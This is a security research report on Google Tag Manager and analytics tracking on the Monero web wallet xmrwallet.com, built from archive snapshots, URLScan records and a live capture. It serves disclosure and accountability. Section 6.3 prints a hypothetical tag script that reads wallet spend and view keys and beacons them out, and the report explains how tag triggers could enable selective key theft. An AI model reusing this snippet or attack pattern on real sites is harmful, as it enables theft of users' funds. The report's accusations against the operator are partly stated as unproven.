FORENSIC RESEARCH DOCUMENT — All evidence sourced from public archives (Wayback Machine, URLScan.io) and reproducible live captures. No private data accessed.

Google Tag Manager on xmrwallet.com

Forensic timeline of Google tracking deployment on a self-proclaimed "anonymous, no-logs" Monero web wallet. Evidence collected from the Internet Archive, URLScan.io public scans, and live network captures.

Published: 2026-05-18 Evidence window: 2019 – 2026 Sources: 100 URLScan results, 14 Wayback snapshots, 1 live capture (105 HTTP requests) By: PhishDestroy Research
Contents
  1. Executive Summary
  2. Tracking Identifiers
  3. Wayback Machine Timeline
  4. URLScan Chronology (100 scans)
  5. Cloaking Evidence: app.html vs Main Page
  6. GTM as an Attack Vector
  7. Industry Comparison
  8. The 72-Hour Cleanup
  9. Conclusions
  10. Methodology & Reproducibility

1. Executive Summary

4+ years
GTM active on site
12×
GTM requests per session
30+
Google requests per page load
72 hrs
Time to erase all tracking

xmrwallet.com marketed itself as an "anonymous, no-logs" Monero web wallet. Its footer stated: "We do not track you." Its Terms & Conditions claimed privacy as a core feature.

Finding: From October 2021 through February 2026, every page load on xmrwallet.com executed Google Tag Manager (UA-116766241-1) and Google Analytics 4 (G-E3T1T1VKD1), generating 30+ requests to Google servers per session. Within 72 hours of receiving our investigation notice (February 16, 2026), all Google tracking was removed from the site.

This document presents the forensic evidence in chronological order, sourced exclusively from public archives. Every claim is independently verifiable using the URLs and timestamps provided.

2. Tracking Identifiers

IdentifierTypeFirst SeenLast SeenScope
UA-116766241-1 Universal Analytics 2021-10-06 2026-02-17 In HTML source — <script> tag in page footer
G-E3T1T1VKD1 Google Analytics 4 2024-01-10 2026-02-17 Loaded dynamically by gtag.js — linked property in GA admin panel
HTML Source (Wayback Machine, Dec 2025)
<!-- Global site tag (gtag.js) - Google Analytics --> <script async src="https://www.googletagmanager.com/gtag/js?id=UA-116766241-1"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-116766241-1'); </script>

What Google Receives Per Session

Google DomainRequestsData Sent
www.googletagmanager.com126× gtag/js loader + 3× Service Worker (sw.js) + 3× sw_iframe.html
region1.analytics.google.com5Full session behavior, timing events (/g/collect)
www.google-analytics.com3analytics.js — page navigation, user agent, referrer
www.google.ro2Google Ads audience pixel (/ads/ga-audiences)
stats.g.doubleclick.net1Advertising network cross-tracking (/g/collect)
www.google.com3Consent/collection endpoint (/ccm/collect)
signaler-pa.clients6.google.com2Push signaling (punctual/v1/chooseServer)
Total to Google per session28 requests
Critical: No Content Security Policy
The site's CSP header was upgrade-insecure-requests; — an empty policy that restricts nothing except HTTP-to-HTTPS upgrades. No script-src, no connect-src, no default-src. The legacy X-Content-Security-Policy: allow 'self' header is ignored by all modern browsers.

This means any JavaScript loaded via GTM (Custom HTML tags) executes with full access to the page's DOM, window scope, localStorage, sessionStorage, and can override native fetch() and XMLHttpRequest to intercept POST requests to /auth.php carrying the user's private view key.

Additionally, GTM loaded a Service Worker (/static/service_worker/6240/sw.js — 3 requests + iframe). While this SW is scoped to googletagmanager.com (Same-Origin Policy prevents it from intercepting xmrwallet.com traffic directly), it demonstrates the depth of GTM's browser footprint on what was marketed as a "privacy" wallet.
xmrwallet.com Security Headers (URLScan, Feb 15 2026)
content-security-policy: upgrade-insecure-requests; ← EMPTY: no script-src, no connect-src x-content-security-policy: allow 'self' ← DEPRECATED: ignored by modern browsers x-frame-options: SAMEORIGIN strict-transport-security: max-age=600 ← WEAK: only 10 minutes x-content-type-options: nosniff x-xss-protection: 1; mode=block referrer-policy: same-origin permissions-policy: MISSING ← No feature restrictions server: ddos-guard x-powered-by: PHP/8.2.29

Source: Live network capture, February 18, 2026 (105 total HTTP requests, 28 to Google domains). Full data: request_analytics_2026-02-18T15-07-55.json

3. Wayback Machine Timeline

The Internet Archive provides independently verifiable snapshots of xmrwallet.com's source code across time. Each timestamp below is a permanent, citable record.

Jan 2019 — Snapshot 20190121123617
No Google tracking
Clean HTML. Only app.js loaded. No analytics, no third-party scripts.
Dec 2019 — Snapshot 20191209150234
No Google tracking
Still clean.
Dec 2020 — Snapshot 20201231171622
No Google tracking
Still clean. Two years without any third-party scripts.
Feb 2021 — Snapshot 20210227103549
No Google tracking
Still clean.
Sep 2021 — Snapshot 20210927081035
No Google tracking
Last confirmed clean snapshot. 9 days before first tracked snapshot.
Oct 2021 — Snapshot 20211006172310
Google Analytics ADDED
FIRST APPEARANCE  UA-116766241-1 + googletagmanager.com/gtag/js present in HTML source. Added between September 27 and October 6, 2021.
Oct 2021 – Dec 2025
Continuously active for 4+ years
Every Wayback snapshot from Oct 2021 through Dec 2025 contains the same tracking code. Snapshots checked: 20211027, 20211204, 20230105, 20240106, 20250101, 20251226.
Feb 15, 2026 — URLScan 019c6233
Still active: 36 requests
Last confirmed scan with Google tracking. UA-116766241-1 + G-E3T1T1VKD1.
Feb 16–18, 2026
PhishDestroy investigation notice sent to operator
Technical findings delivered via email. Operator responds defensively within hours.
Feb 19, 2026 — URLScan 019c7739
ALL TRACKING REMOVED
72 HOURS  Only 2 HTTP requests total. Zero Google domains contacted. Complete erasure.

4. URLScan.io Chronology (100 Public Scans)

URLScan.io independently records HTTP request counts for every scan. The pattern is unambiguous:

PeriodScan CountRequests/PageGoogle IDs PresentStatus
2024-01 → 2026-02-15 ~60 scans 33–42 UA-116766241-1, G-E3T1T1VKD1 TRACKING
2025-07 → 2025-11 (app.html) ~10 scans 9 None in HTML CLOAKED
2026-02-19 1 scan 2 None ERASED
2026-02-21 → 2026-04-10 ~20 scans 26 None Redirect to xmrwallet.cc
2026-04-20 → 2026-05-15 ~5 scans 2 None Site effectively dead
Key observation: The request count drops from 33–42 to 2 between February 15 and February 19, 2026. This three-day window exactly coincides with the PhishDestroy investigation notice sent on February 16. The operator did not dispute, explain, or acknowledge the tracking — he simply erased it.

5. Cloaking Evidence: app.html vs Main Page

A critical discrepancy exists between the app.html source code (as archived) and its live behavior (as captured in network traffic).

app.html — Wayback Machine Source

Zero references to Google in HTML.

No <script> tags loading gtag.js.

Contains <meta name="robots" content="noindex,nofollow,nosnippet,noarchive"/>

Verified: snapshots 20190121 through 20260223

app.html — Live Network Capture

12 requests to googletagmanager.com

5 requests to analytics.google.com

40 POST requests containing Base64-encoded private view key

Captured: February 18, 2026 via Firefox WebExtension

Implication: The app.html page — where users enter seed phrases and private keys — does not contain Google tracking in its static HTML source. Yet in live sessions, Google Tag Manager executes 12 times. The attack vector is straightforward: GTM Custom HTML tags execute JavaScript in the main thread of the page's origin (xmrwallet.com). Any script injected via GTM's web panel runs with the same privileges as the wallet's own code — full access to DOM, window scope, localStorage, and the ability to override fetch()/XMLHttpRequest.

Combined with the site's empty Content Security Policy (upgrade-insecure-requests; only, no script-src or connect-src restrictions), GTM scripts can read any variable, hook any function, and exfiltrate data to any external server — all without any browser warning.

URLScan sees only 9 requests on app.html because it visits the page directly, without first loading the main page where GTM initializes. A real user always starts from the main page, where gtag.js loads and sets cookies/dataLayer. When the user clicks "Create Wallet", the navigation carries this state.

The noindex,nofollow,noarchive robots directive on app.html (absent from the main page) further prevents archival, ensuring no external record of the wallet page's runtime behavior.
How GTM Enables Key Theft
User visits xmrwallet.com
→
gtag.js loads (UA-116766241-1)
→
GTM Custom HTML executes in page origin
↓ GTM script can override fetch() / read DOM — no CSP blocks it ↓
User clicks "Create Wallet" → app.html
→
Wallet generates keys in JS scope
→
GTM script reads window.spendSecHex
↓ Or: GTM hooks fetch() to copy POST /auth.php body containing view key ↓
Key material captured
→
Exfiltrated as GA event / sendBeacon
→
analytics.google.com/g/collect

6. Google Tag Manager as an Attack Vector

Google Tag Manager is a legitimate marketing tool. On a cryptocurrency wallet handling private keys, it becomes a powerful attack surface. Understanding why requires examining what GTM can do:

6.1 What GTM Allows Without Code Changes

CapabilityRisk on a Wallet
Custom HTML Tags — inject arbitrary JavaScript via GTM web panel Can read any DOM element, variable, or memory in the wallet's JS context
Triggers — fire tags on specific conditions (page URL, click, timer, custom event) Can target only the "Create Wallet" or "Send" flows where keys are exposed
Variables — read cookies, URL params, dataLayer, DOM elements, JS variables Can extract spend_key, view_key, seed from wallet JS scope
Audiences / Sampling — target % of users or specific conditions Enables selective theft (only large balances, only certain countries)
Version history — only accessible to GTM account owner No external audit possible. Changes invisible to code review.
Instant publish — changes go live in seconds, no deploy needed Can activate theft, deactivate before detection, leave no server-side trace

6.2 The Cookie Footprint

URLScan captures reveal the full cookie inventory that xmrwallet.com set in every user's browser:

CookieSet ByPurposePrivacy Impact
_gaGoogle Analytics Unique Client ID, persists 2 years Cross-session user tracking
_gidGoogle Analytics Session ID, 24-hour lifetime Session behavior profiling
_ga_E3T1T1VKD1GA4 GA4 property cookie — confirms G-E3T1T1VKD1 GA4 session tracking on wallet
_gat_gtag_UA_116766241_1GTM/UA Rate limiting for UA property Proves GTM + UA active
_gcl_auGoogle Ads Conversion Linker — tracks ad campaign conversions Google Ads on a "privacy" wallet
__ddg1_, __ddg8_, __ddg9_, __ddg10_DDoS-Guard WAF Bot protection / session validation WAF infrastructure cookies
__ddg9_DDoS-Guard Contains user's IP address in plaintext IP address stored in browser cookie
Google Ads Conversion Linker (_gcl_au) is the cookie set when a site uses Google Ads to track which ad clicks lead to "conversions" (actions on the site). Its presence means the operator was running paid Google Ads campaigns directing users to the wallet — and tracking which ad-referred users created wallets or deposited funds. On an "anonymous, no-logs" wallet, this is indistinguishable from victim acquisition tracking.

DDoS-Guard IP cookie (__ddg9_) stores the visitor's IP address in plaintext inside a browser cookie. Combined with Google Analytics session data, the operator had access to: IP address + geographic location + browser fingerprint + wallet activity timeline + which ad brought the user.

6.3 Why This Matters for Selective Scamming

Victim reports consistently describe the same pattern: small test deposits work fine, large deposits are stolen within days. GTM's trigger system is the technical mechanism that makes this possible:

// Hypothetical GTM Custom HTML Tag — fires only on wallet creation // This runs in the SAME JavaScript context as the wallet <script> // GTM Trigger: Page URL contains "app.html" AND event = "wallet_created" var keys = { address: document.querySelector('.wallet-address').textContent, spend_key: window.spendSecHex, // accessible from global JS scope view_key: window.viewSecHex }; // Exfiltrate disguised as analytics event navigator.sendBeacon('/auth.php', new Blob([JSON.stringify(keys)], {type: 'text/plain'})); </script>

This is a demonstration of the capability, not a claim that this exact code was deployed. Only Google can confirm what Custom HTML Tags were configured in GTM container UA-116766241-1. A subpoena to Google for the GTM container version history would resolve this definitively.

6.3 Why a Subpoena to Google Is Critical

Google retains the complete version history of every GTM container. For UA-116766241-1, this includes:

7. Industry Comparison

No legitimate cryptocurrency wallet loads Google Tag Manager on its key-entry pages. This is not opinion — it is the verifiable industry standard, confirmed via URLScan.io public scans:

WalletTypeRequestsGoogle AnalyticsGTMCookiesCSP on Key PageURLScan UUID
Ian Coleman BIP39 Web (static) 1 NoNo0 N/A (no server) 019dfffa-0771
MyMonero (wallet.mymonero.com) Web 13 NoNo0 Cloudflare 0199729f-f515
MyEtherWallet Web 5 NoNo0 Cloudflare 019bd152-d753
Guarda (/app) Web 51 scripts NoNo0 Isolated from landing Live check May 2026
Blockchain.com (login.) Web 77 GA4 (G-ECLKXV7NVB)No GTMYes default-src 'none'; script-src 'nonce-xxx' 'strict-dynamic' 019e1c5a-b865
Monero GUI Desktop 0 NoNoN/A N/A (local) N/A
Feather Wallet Desktop 0 NoNoN/A N/A (local) N/A
xmrwallet.com Web 33–42 UA-116766241-1 + G-E3T1T1VKD1 Yes (via gtag.js) 9 (incl. Google Ads, IP) upgrade-insecure-requests; (EMPTY) 019c6233-afce
Key findings from comparison:
• Guarda demonstrates correct architecture: GTM on landing page (GTM-N5WZTMXC), but zero tracking on /app where keys are handled. Marketing and key management are isolated.
• Blockchain.com does have GA4 on login, BUT protects it with nonce-based CSP + strict-dynamic — even if GTM were present, injected scripts would be blocked without a valid nonce.
• Ian Coleman BIP39 is the gold standard: 1 HTTP request. Zero external dependencies. Works offline.
• xmrwallet.com is the only wallet with GTM + Google Ads + DoubleClick + empty CSP on the key-entry page. The combination is unique in the entire industry.
Why GTM is not "just analytics":
Google Tag Manager is a remote code injection platform. Its purpose is to allow non-developers to deploy arbitrary JavaScript to a website without code review, without deployment, without version control. On a marketing landing page, this is a convenience tool. On a cryptocurrency wallet handling private keys, it is architecturally equivalent to a Remote Code Execution (RCE) backdoor controlled by a third party.

Safe alternatives exist: server-side analytics (counting API calls), self-hosted static scripts (Plausible, Matomo), or domain isolation (app.domain.com with no marketing scripts). xmrwallet.com used none of these. Instead, it loaded a dynamic JS injector with zero CSP restrictions on the page where users enter seed phrases.

8. The 72-Hour Cleanup

February 15, 2026 (before notice)

URLScan: 36 requests

Google IDs: UA-116766241-1, G-E3T1T1VKD1

Domains contacted: googletagmanager.com, google-analytics.com, analytics.google.com, doubleclick.net, google.com

Scan: 019c6233-afce-75ec-b07d-07dc91d0d1bd

February 19, 2026 (72 hours later)

URLScan: 2 requests

Google IDs: None

Domains contacted: xmrwallet.com only

Scan: 019c7739-c89c-755b-a667-6c41fb047671

The operator's response to being informed of the tracking was not to explain it, not to address the privacy contradiction, and not to publish a transparency report. The response was complete and immediate erasure — both of the tracking code and, subsequently, of the site itself.

This behavior is consistent with evidence destruction, not with a legitimate developer correcting an oversight. A developer who accidentally left analytics enabled would acknowledge the mistake. The operator never acknowledged the tracking existed.

9. Conclusions

Proven Facts (independently verifiable)

1. Google Tag Manager was absent from xmrwallet.com before October 2021 (Wayback: 6 clean snapshots, 2019–2021).

2. Google Tag Manager (UA-116766241-1) was added between September 27 and October 6, 2021 (Wayback delta).

3. Google Analytics 4 (G-E3T1T1VKD1) was linked by at least January 2024 (URLScan HTTP transactions).

4. Tracking remained continuously active for 4+ years through December 2025 (Wayback + URLScan).

5. The wallet page (app.html) has zero Google references in its static HTML but 12 GTM requests in live sessions (Wayback vs. live capture).

6. app.html carried noindex,nofollow,noarchive robots directive — the main page did not.

7. All tracking was removed within 72 hours of the investigation notice (URLScan: Feb 15 vs Feb 19).

8. No other Monero wallet (GUI, Feather, MyMonero, Monerujo, Cake) uses Google tracking.

9. The DoubleClick advertising pixel was active on a financial privacy application.

Assessments Requiring Google Subpoena

A. Whether Custom HTML tags in the GTM container contained JavaScript that read wallet keys.

B. Whether GTM triggers were configured to activate only on wallet creation/login flows.

C. Whether audience sampling was used to target specific users (selective theft).

D. The complete GTM version history showing when tags were added, modified, or removed.

E. The Google account email that owns UA-116766241-1 and its associated properties.

10. Methodology & Reproducibility

Wayback Machine Verification

All snapshots can be verified at:

https://web.archive.org/web/[TIMESTAMP]/https://www.xmrwallet.com/ # Key timestamps: 20210927081035 — Last clean snapshot (no tracking) 20211006172310 — First snapshot with UA-116766241-1 20251226172858 — Last snapshot before investigation 20260223214654 — app.html (no Google in static HTML)

URLScan Verification

All scans are public and permanent:

https://urlscan.io/result/[UUID]/ # Key scans: 4859891f-b734-4555-8631-1b1368c4c710 2024-01-10 42 reqs (app.html with GTM) 019c6233-afce-75ec-b07d-07dc91d0d1bd 2026-02-15 36 reqs (last with tracking) 019c7739-c89c-755b-a667-6c41fb047671 2026-02-19 2 reqs (tracking erased) 019803d5-cf78-719e-a414-3c59b46aaecd 2025-07-13 9 reqs (app.html — fewer reqs)

Live Capture Data

Full JSON export of 105 HTTP requests from a single wallet session is available in the evidence archive: request_analytics_2026-02-18T15-07-55.json

Document classification: Public research. No proprietary data. No user credentials. All sources are public archives.

Contact: [email protected]

Related: PhishDestroy Investigation Hub • Reddit Suppression Evidence • Law Enforcement Dossier